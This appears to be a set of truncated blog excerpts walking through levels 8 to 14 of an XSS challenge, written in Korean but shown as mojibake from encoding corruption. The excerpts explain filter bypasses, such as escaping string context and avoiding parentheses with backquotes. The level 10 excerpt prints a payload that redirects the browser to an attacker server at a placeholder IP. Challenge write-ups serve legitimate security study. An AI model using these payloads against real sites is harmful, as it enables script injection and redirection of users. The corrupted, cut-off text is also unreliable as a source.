14๋จ๊ณ๋ถํฐ๋ ์กฐ๊ธ์ฉ ๋์ด๋๊ฐ ์ฌ๋ผ๊ฐ๋ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค. ๋ฉ์ธ ํ์ด์ง์๋ ๋ค์ ์ฌํํ ๋์์ธ์ ๊ฐ์ง๊ณ ์๊ธฐ์ ์์ค๋ฅผ ๋ณด๋ฉด์ ๋ถ์์ ํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ๋ณด์ด๋ ํฌ์ธํธ๊ฐ ๋ฑ 2๊ณณ์ด ํ์ธ๋ฉ๋๋ค. ์ฒซ๋ฒ์งธ๋ analytics.js.js ๋ถ๋ถ๊ณผ try_harder ๋ณ์์ ๋๋ค. ์คํฌ๋กค ์ ์ผ ํ๋จ์ผ๋ก ๋ด๋ ค๋ณด๋ฉด analytics.js ํ์ผ์ด ํ๋ ๋ ์กด์ฌํฉ๋๋ค. 3๋ฒ์งธ ์ค์ analytics.js.js๋ ์ ํจํ์ง ์์ ๊ฒฝ๋ก์ด๋ฉฐ ์คํฌ๋กค ์ ์ผ ํ๋จ์๋ ์ ํจํ ๊ฒฝ๋ก๊ฐ ์ ๋ ฅ๋์ด ์์ต๋๋ค. ์ ๋ ฅํ๊ณ ์ ํ๋ ํ๋ผ๋ฏธํฐ์ ๊ฐ์ ๋ชจ๋ ์ ๊ฑฐํด๋ณด๋ฉด src์ ๋ถ์ฌ๋ ๊ฒฝ๋ก๋ ์ ๊ฑฐ๋์ด ์์ง๋ง. js๋ ๊ณ ์ ์ ์ผ๋ก ๋จ์ ์์ต๋๋ค. ์ ๋ ฅ ๊ฐ ๊ฒ์ฆ์ ์ด๋ป๊ฒ ์งํ๋๋ ํ์ธํด๋ณด๋ฉด ๊ต์ฅํ ํ์ดํธํ๊ฒ ๊ฒ์ฆํ๊ณ ์์ด ์์ ์๋ฐ์คํฌ๋ฆฝํธ ๊ตฌ๋ฌธ์ ์ฝ์ ํ์ฌ ์คํ์ํฌ..
13๋จ๊ณ ๋ฉ์ธ ํ์ด์ง๋ฅผ ํ์ธํด๋ณด๋ฉด ์ ๋จ๊ณ์ ์ ์ฌํ ๋์์ธ์ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, 12๋จ๊ณ์์ ์ฌ์ฉ๋ Payload๊ฐ ๋์ํ ์๋ ๋์ํ์ง ์์ ์๋ ์๋ค๋ ๋ด์ฉ์ด ๋ด๊ฒจ์์ต๋๋ค. ์ ๊ฐ ์ฌ์ฉํ๋ Payload๋ ๋์ํ์ง ์์์ผ๋ฏ๋ก ์ฝ๋๋ฅผ ์ดํด๋ณด๊ฒ ์ต๋๋ค. ๋์ผํ๊ฒ ํ๊ทธ๋ฅผ ํตํด untrusted ๋๋ฉ์ธ์ด ์ ์ธ๋์ด ์์ต๋๋ค. ์คํฌ๋กค์ด ๋๋ฌด ๋จ์ ๋ฐ์ผ๋ก ๋ด๋ ค๋ณด๋ ` (๋ฐฑ ์ฟผํฐ)๋ฅผ ์ฌ์ฉํด์ฃผ๋ฉด ํ์ ์ฐฝ์ ๋ฌด๋ฆฌ ์์ด ๋์ธ ์ ์์ง๋ง ๋ญ๊ฐ ๋ค๋ฅธ ๋ฐฉ์์ ํตํด m ๋ณ์์ ์ ์ธ๋ "Good Luck!"์ ๋์์ฃผ๊ณ ์ถ์ต๋๋ค. () Bypass ๊ธฐ๋ณธ์ ์ผ๋ก " () " ๊ดํธ ํํฐ๋ง์ ์ฐํ ๊ธฐ๋ฒ์ " `(Back Quote)" ๋ก ๋ง์ด ์ฌ์ฉํ์ง๋ง ์ด ๋ฐฉ๋ฒ ์ด์ธ์ ์๋์ ๊ฐ์ 2๊ฐ์ง ์์ฑ์ ์ด์ฉํด ๊ดํธ ์ฌ์ฉ์ ํผํ ์ ์์ต๋๋ค. 1. Con..
12๋จ๊ณ๋ ๋ค์ ๋ค๋ฅธ ๋ชจ์ต์ ํ์ด์ง๋ก ํ์ธ๋ฉ๋๋ค. ์์ค์ฝ๋๋ฅผ ๋จผ์ ๋ณด๋ฉด์ ํด๊ฒฐํด๋๊ฐ ๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ์ด์ ๋จ๊ณ์์๋ ์๋ฐ์คํฌ๋ฆฝํธ์ ์ ์ธ๋ ๋ณ์๋ฅผ ํ์ฉํด์ ํ์ ์ฐฝ์ ๋์ ๋๋ผ๋ฉด ์ด์ ๋ ์ ํ๊ทธ์ ๋ถ์ฌ๋ ์ฃผ์๋ฅผ ํ์ฉํ์ฌ ํด๊ฒฐํด์ผ ๋๋ ๋ฌธ์ ์ธ ๊ฒ ๊ฐ์ต๋๋ค. src="" ์์ฑ์ ๋ถ์ฌ๋ untrusted ํ์ด์ง๋ก ์ด๋ํด๋ณด๊ฒ ์ต๋๋ค. untrusted.so.co.il ํ์ด์ง๋ ์ด์ ๋จ๊ณ์์ ๋ณด์ฌ์ก๋ ํ์ด์ง๋ค์ฒ๋ผ ๋ค์ ์ฌํํ ํ๋ฉด์ ๋์ฐ๊ณ ์์ต๋๋ค. ํด๋น ํ์ด์ง ์์ค์ฝ๋๋ฅผ ํ์ธํด ๋ณด๊ฒ ์ต๋๋ค. ์์์๋ถํฐ ํ์ธํด๋ณด์๋ฉด ๋ณ์ m์๋ 'Good Luck!' String ๋ฌธ์์ด์ด ์ ์ธ๋์ด ์์ผ๋ฉฐ. php? p=์ ์ ๋ ฅ๋ Payload๋ 12๋ฒ์งธ ์ค์ a ๋ณ์์ 'Payload'; ํํ๋ก ์ฝ์ ๋๊ณ ์์ต๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก " ';..
๋ ๋ฒจ 11๋จ๊ณ๋ฅผ ๋ณด์๋ฉด ๋น๊ต์ ์ฌํํ ํ์ด์ง ๊ตฌ์ฑ์ผ๋ก ๋์ด ์์ต๋๋ค. ์ฐ์ ์์ค์ฝ๋ ๋จผ์ ๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ์ด๋ฒ์๋ ๋ค์ ๋ณต์กํ ์ฝ๋๋ค๋ก ๊ตฌ์ฑ๋์ด ์์ต๋๋ค. .php?p=์ ์ ๋ ฅ๋ Payload๋ "a"๋ผ๋ ๋ณ์์ ๋ด๊ธฐ๊ฒ ๋ฉ๋๋ค. 11๋จ๊ณ์์๋ถํฐ๋ ์คํ ๊ฐ๋ฅํ ์ ๋ ฅ ๊ฐ ์ด์ธ์๋ ๋ชจ๋ ์์ธ์ฒ๋ฆฌ๋ฅผ ์งํํ๊ณ ์์ด ๋ณ๋์ ๋ธ๋ก ํ๋ฉด์ด ๋ํ๋๊ฒ ๋ฉ๋๋ค. ์ด๋ฌธ์ ๋ฅผ ํธ์ ๋ถ๋ค์ ์ "Hacking attempt" ํ๋ฉด์ ์์ญ ๋ฒ ๋ดค์ ๊ฒ์ด๋ผ ์๊ฐํฉ๋๋ค... ์ ๋ ํด๊ฒฐํ๊ธฐ ์ํด ์ฌ๋ฌ ๊ธฐ๋ฒ๋ค์ Bofore After๋ฅผ ๋ถ์ํ๋๋ฐ ๋์ ํฌ ์คํ๊ฐ๋ฅํ ๊ตฌ๋ฌธ์ ๋ชป ์ฐพ์์ต๋๋ค.. ํํธ๋ผ๊ณ ๋ ์กด์ฌํ์ง ์๋ ์ฑ๋ฆฐ์ง๊ธฐ ๋๋ฌธ์ ํ์ฐธ์ ํค๋งค๋ค๊ฐ security.stackexchange.com์์ ์ฐ์ฐํ ํด๊ฒฐ๋ฒ์ ํ์ธํ์ต๋๋ค. ๊ฒฐ๋ก ์ ์ผ๋ก ..
level 10๋จ๊ณ๋ฅผ ์งํํ๊ฒ ์ต๋๋ค. ํ๋ฉด์ ๋ณด์ด๋ ํ๋ฉด์ ์ด์ ๊ณผ ์ ์ฌํ ๋ชจ์ต์ ๋์ฐ๊ณ ์์ต๋๋ค. ๋ด๋ถ ์ฝ๋๋ฅผ ๋จผ์ ์ดํด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. 10๋จ๊ณ์์๋ a์ b๋ผ๋ ๋ณ์์ ๊ฐ์ด ์ ์ธ๋์ด ์๋ ์ํ์ ๋๋ค. ์ฐ๋ฆฌ๊ฐ ์ ๋ ฅํ Payload๋ "a" ๋ณ์์ ๋ด๊ธฐ๋๋ก ๋์ด์๋๋ฐ document.write ์์ฑ์ ํตํด ๊ฐ์ด ์คํ๋๋ ๊ฒ์ ๋ณด์ค ์ ์์ต๋๋ค. document.write()์ ๊ธฐ๋ฅ์ Document Object์ ํจ์๋ก ์ธ์ ๊ฐ์ ์น ๋ธ๋ฌ์ฐ์ ํ๋ฉด์ ํ ์คํธ ํ์์ผ๋ก ์ถ๋ ฅํด์ฃผ๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ';{document.location.href="http://IP"}// 9๋จ๊ณ์์ ์งํํ ๋ฐฉ๋ฒ๋๋ก a๋ณ์๋ฅผ ๋ซ์ ๋ง๋ฌด๋ฆฌ(;)ํด์ฃผ๊ณ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๋ก๋์์ผ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋๋ก ํด์ฃผ๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค. ๋ค..
ํ๋์ ์ฌ๋ฆฌ์ง ๋ชปํ๋ XSS ์ฑ๋ฆฐ์ง๋ฅผ ์ค๋๋ง์ ๋ค์ ํ๊ฒ ๋์์ต๋๋ค. ์ ๊ฐ ์ฌ๋ฏธ์๊ฒ ํ๊ณ ์๋ Alexander Korznikov์ XSS ์ฑ๋ฆฐ์ง์ ์ฅ์ ์ ๊ธฐ์กด์ XSS ๊ฒ์๊ณผ๋ ๋ค๋ฅด๊ฒ ํํ ๋ฒ์ ์ฌ๋ฆฐ ์ฌ๋๋ค์ด ๋ง์ด ์์ผ๋ฉฐ(๊ตญ๋ด์์๋ ๋ณธ ์ ์ด ์๋ค์..) ์ถ์ ์์ ์๋๋ฅผ ์์์ ํ์ ํ๊ณ ์ผ๋ง์ ํํธ ์์ด ๊ณต๋ต ํ๋ค๋ ์ ์์ ๋์ฑ ์ ์ฐฉ์ด ๊ฐ๊ณ ๋ชฐ์ ์ด ๋๋ ๊ฑฐ ๊ฐ์ต๋๋ค. ๊ณต๋ต ํ์ด์ง๋ ๊ต์ฅํ ์ฌํํฉ๋๋ค. Reflected ๋ฐฉ์์ผ๋ก ํ๋ผ๋ฏธํฐ์ ์ ์ ํ Payload๊ฐ ์ฝ์ ๋ ๊ฒฝ์ฐ ๋ค์ด์ผ๋ก๊ทธ ํ์ ์ฐฝ์ ๋์ฐ์ค ์ ์์ต๋๋ค. ์ด์ ๋จ๊ณ(8-1) ์ ์์ค์ ์ ์ฌํ ํํ์ ์ฝ๋๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. b๋ผ๋ ๋ณ์์๋ "1"์ด ์ ์ธ๋์ด ์๊ณ if ์กฐ๊ฑด๋ฌธ์ ํตํด ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋ ์ ์๋๋ก ๊ตฌ๋ฌธ์ ์์ฑ์์ผ์ผ ๋ฉ๋๋ค. b์ ๋ณ์..
์กฐ๊ฑด๋ฌธ์ด ์ฌ์ฉ๋ 8 Level์ ์ด์ด์ 8-1 Level๊น์ง ํ๋ฒ ํ์ด๋ณด๋๋ก ํ๊ฒ ์ต๋๋ค. ๋ง์ฐฌ๊ฐ์ง๋ก ๋งํฌ ํ๊ทธ๋ ์ ๋ ฅ์ ๋ฐ๋ ํผ์ด ๋ฐ๋ก ์กด์ฌํ์ง ์์ผ๋ฉฐ URL ํ๋ผ๋ฏธํฐ์ ์ ๋นํ ๋ฌธ์์ด์ ์ฝ์ ํ๋๋ก ํ๊ณ ์์ต๋๋ค. ํ์ด์ง ์์ค๋ฅผ ๋ณด์๋ฉด 8 Level ์์ค์ ์ ์ฌํด ๋ณด์ด์ง๋ง ์กฐ๊ธ ๋ค๋ฅธ ํํ๋ฅผ ๊ฐ์ง๊ณ ์์ต๋๋ค. ์คํฌ๋ฆฝํธ์ฝ๋๋ ๋ง์ฐฌ๊ฐ์ง๋ก ์คํ๋์ง ์๊ณ ์์ผ๋ฉฐ ์ด์ ๋ ๋ฐ๋ก "์ค ๋ฐ๊ฟ"์ ์์ต๋๋ค. ์ด 2๊ณณ์ ์ค๋ฐ๊ฟ ์ฒ๋ฆฌ๊ฐ ๋์ด ์์ต๋๋ค. if ( b == 2 ){a = "Your_Payload"} ๋นจ๊ฐ์์ผ๋ก ์ฒ๋ฆฌ๋ ๋ถ๋ถ์์ค ๋ฐ๊ฟ์ผ๋ก ์ธํด ์ ๋ ฅ๋ ๋ฌธ์์ด์ด ์ค๋ฅ๊ฐ ๋ฐ์ํ๊ณ ์์ต๋๋ค. ๋ง์ง๋ง ๋ฌธ๋จ๋ผ์ธ์ " } " ๋ซํ์ ์ ๋ง๊ฒ ๋ฌธ์์ด ์กฐ์ ์ ํ๋ฉด ๋๊ฒ ์ง๋ง ์ฒซ ๋ฒ์งธ " { " ์ค ๋ฐ๋์ผ๋ก ์ธํด else ์กฐ๊ฑด๋ฌธ์ด ์ ๋๋ก..